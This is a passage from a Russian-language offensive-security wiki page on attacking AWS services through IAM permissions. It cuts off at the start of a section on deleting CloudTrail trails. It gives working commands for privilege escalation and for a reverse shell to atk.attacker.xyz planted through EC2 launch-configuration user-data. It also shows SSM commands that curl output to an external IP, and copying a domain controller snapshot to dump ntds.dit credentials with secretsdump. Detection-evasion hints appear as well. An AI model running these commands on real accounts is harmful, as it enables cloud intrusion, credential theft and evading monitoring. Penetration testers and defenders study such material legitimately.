&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
